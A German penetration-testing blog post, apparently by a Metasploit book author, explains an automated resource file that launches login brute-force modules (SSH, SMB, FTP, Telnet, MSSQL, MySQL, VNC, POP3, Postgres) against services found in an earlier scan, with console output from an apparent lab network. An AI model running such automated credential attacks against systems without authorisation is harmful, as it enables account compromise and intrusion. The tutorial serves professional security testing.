no one is safe ...

Automatisierung im Rahmen eines Pentests - part 3 (Brute force)

Teil 3 meiner kurzen Notizen zu möglichen Automatisierungsmechanismen des Frameworks. In Teil 1 wurde der Discovery Prozess weitgehend automatisch umgesetzt, in Teil 2 konnten wir automatisch die Ergebnisse etwas bereinigen und in diesem Teil werden wir umfangreiche Passwortangriffe weitgehend automatisch umsetzen.

Im Rahmen unserer Discovery Phase haben wir eine Vielzahl unterschiedlicher Systeme und Services ermittelt. Auf Basis dieser Ergebnisse werden im weiteren Verlauf Services die Login-Funktionalitäten bieten ausgewählt und mit umfassenden Bruteforce Vorgängen übersät. Da solche Bruteforce Vorgänge teilweise sehr lange dauern, sollten diese so früh wie möglich gestartet werden und neben weiteren Tätigkeiten erfolgen.

Metasploit liefert ein neues Resource File mit welches auf Basis der Datenbankinformationen folgende Module automatisch zur Anwendung bringt:

  • auxiliary/scanner/smb/smb_login
  • auxiliary/scanner/ftp/anonymous
  • auxiliary/scanner/ftp/ftp_login
  • auxiliary/scanner/ssh/ssh_login
  • auxiliary/scanner/telnet/telnet_login
  • auxiliary/scanner/mysql/mysql_login
  • auxiliary/scanner/vnc/vnc_login
  • auxiliary/scanner/mssql/mssql_login
  • auxiliary/scanner/pop3/pop3_login
  • auxiliary/scanner/postgres/postgres_login

Um diese Module anzuwenden werden die vorhandenen Services nach deren Namen ausgewählt. Dazu werden derzeit folgende Servicenamen überprüft:

  • if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
  • elsif(xname =~ /ftp/)
  • elsif(xname =~ /ssh/)
  • elsif(xname =~ /telnet/)
  • elsif(xname =~ /mysql/)
  • elsif(xname =~ /vnc/)
  • elsif(xname =~ /mssql/ or xname =~ /ms-sql/)
  • elsif(xname =~ /pop3/)
  • elsif(xname =~ /postgres/)

Bei dieser Auswahl wird versucht die Servicenamen die Nmap eintragt ebenso zu nutzen wie die der Metasploit Module. Module kommen ausschließlich zur Anwendung wenn ein Servicename vorhanden, ein Port alleine reicht nicht aus! Dieser Mechanismus ermöglicht es uns auch Services auf anderen Ports als den Defaultports anzugreifen. Im folgenden Listing finden wir beispielsweise MS-SQL und einen SSH Service der nicht auf den vorgegebenen Ports läuft. Mit dem Resource File werden auch diese Services angegriffen.

10.8.28.2 - (Sessions: 0 Jobs: 0)> services -s telnet

Services
========

host         port  proto  name    state  info
----         ----  -----  ----    -----  ----
10.8.28.107  23    tcp    telnet  open   FreeBSD/i386 (freebsd81.internal) (pts/1)\x0d\x0a\x0d\x0alogin:
10.8.28.109  23    tcp    telnet  open   FreeBSD/i386 (freebsd82.pwnd) (pts/1)\x0d\x0a\x0d\x0alogin:
10.8.28.143  23    tcp    telnet  open   FreeBSD/i386 (freebsd60.internal) (ttyp0)\x0d\x0a\x0d

10.8.28.2 - (Sessions: 0 Jobs: 0)> services -s mssql

Services
========

host         port  proto  name   state  info
----         ----  -----  ----   -----  ----
10.8.28.36   1433  tcp    mssql  open   Version: 9.00.1399.06, ServerName: XP_FDCC, InstanceName: SQLEXPRESS, Clustered: No
10.8.28.212  5166  tcp    mssql  open   Version: 9.00.4035.00, ServerName: HELLISWAITING, InstanceName: SQLEXPRESS, Clustered: No

10.8.28.2 - (Sessions: 0 Jobs: 0)> services -s ssh

Services
========

host         port   proto  name  state  info
----         ----   -----  ----  -----  ----
10.8.28.2    22     tcp    ssh   open   SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
10.8.28.10   22     tcp    ssh   open   SSH-2.0-OpenSSH_5.5p1 Debian-6
10.8.28.66   12345  tcp    ssh   open   SSH-2.0-OpenSSH_5.1p1 Debian-5

Weitere Module lassen sich sehr einfach ergänzen ... einfach einen der Blöcke kopieren und den Modulnamen anpassen.

Das Resource File bietet mehrere Konfigurationsmöglichkeiten, die wieder mit globalen Optionen angepasst werden können. Folgende Optionen stehen zur Wahl:

  • USER_FILE - default to unix_users.txt
  • PASS_FILE - default to unix_passwords.txt
  • THREADS - default to 10
  • VERBOSE - default to false

Wobei zu beachten ist, dass Loginmodule mit optimierten Passwort-Files diese auch nutzen. Beispiel hierfür ist das postgres Modul.

In der Anwendung schaut das nun folgendermaßen aus:

10.8.28.2 - (Sessions: 0 Jobs: 0)> resource /opt/metasploit-4.1.4/msf3/scripts/resource/auto_brute.rc
[*] Processing /opt/metasploit-4.1.4/msf3/scripts/resource/auto_brute.rc for ERB directives.
[*] resource (/opt/metasploit-4.1.4/msf3/scripts/resource/auto_brute.rc)> Ruby Code (6548 bytes)
USER_FILE => /opt/metasploit-4.1.4/apps/pro/msf3/data/wordlists/unix_users.txt
PASS_FILE => /opt/metasploit-4.1.4/apps/pro/msf3/data/wordlists/unix_passwords.txt
====================================
IP: 10.8.28.10
OS: Linux
Servicename: ssh
Service Port: 22
Service Protocol: tcp
====================================
ssh_login
RHOSTS => 10.8.28.10
RPORT => 22
VERBOSE => true
[*] Auxiliary module running as background job
[*] [2012.02.17-09:38:34] 10.8.28.10:22 SSH - Starting bruteforce
====================================
IP: 10.8.28.104
OS: Microsoft Windows
Servicename: netbios-ssn
Service Port: 139
Service Protocol: tcp
====================================

... waiting a long time ;) ...

Wichtig ist noch die Jobbegrenzung die dafür sorgt dass das lokale System nicht überlastet wird. Diese macht sich mit folgenden Logmeldungen bemerkbar:

[-] Waiting... active jobs: 8 / threads: 27
[-] Waiting... active jobs: 8 / threads: 27
[-] Waiting... active jobs: 8 / threads: 27
[-] Waiting... active jobs: 8 / threads: 27

Out of the Box ist das Joblimit auf 8 Jobs begrenzt. Soll diese Grenze geändert werden, muss die Variable "maxjobs" im Skript angepasst werden.

Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr auf der dpunkt-Webseite. Das Buch lässt sich natürlich auf Amazon bestellen.

Somit ... have phun
mIke